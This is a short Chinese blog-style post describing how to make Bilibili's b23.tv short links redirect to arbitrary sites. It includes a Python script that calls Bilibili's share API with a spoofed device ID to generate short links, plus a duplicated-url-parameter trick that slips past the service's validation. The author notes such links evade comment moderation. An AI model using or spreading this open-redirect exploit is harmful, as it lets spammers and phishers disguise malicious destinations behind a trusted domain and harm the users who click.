实现 B 站 b23.tv 短链接任意跳转
b23.tv 以前服务端校验非常弱智,后来修复过后没见有人任意跳转了。
b23.tv 发评论区不容易被风控,所以钻研了一下,搞来玩玩儿。
先搞一个 b 站获取短链的接口:
import randomimport requestsimport jsonimport string
api = 'http://api.bilibili.com/x/share/click'
def random_buvid(): return ''.join(random.choices(string.digits+string.ascii_letters, k=32))+'infoc'
def get_b23of(long_url): data = { 'build': '6500300', 'buvid': random_buvid(), 'oid': long_url, 'platform': 'android', 'share_channel': 'COPY', 'share_id': 'public.webview.0.0.pv', 'share_mode': '3' } res = requests.post(api, data=data, timeout=9, headers={ "User-Agent": "" }) data = json.loads(res.content) print(data)随后注意到 B 站安卓客户端(俺没有苹果)有个bilibili://browser?url=http://www.bilibili.com的跳转,离谱的是bilibili://browser?url=http://www.bilibili.com&url=@www.baidu.com会被跳转到http://www.bilibili.com,@www.baidu.com,并且短链接生成只会检验第一个 url 参数,就可以所以组合任意链接跳转了。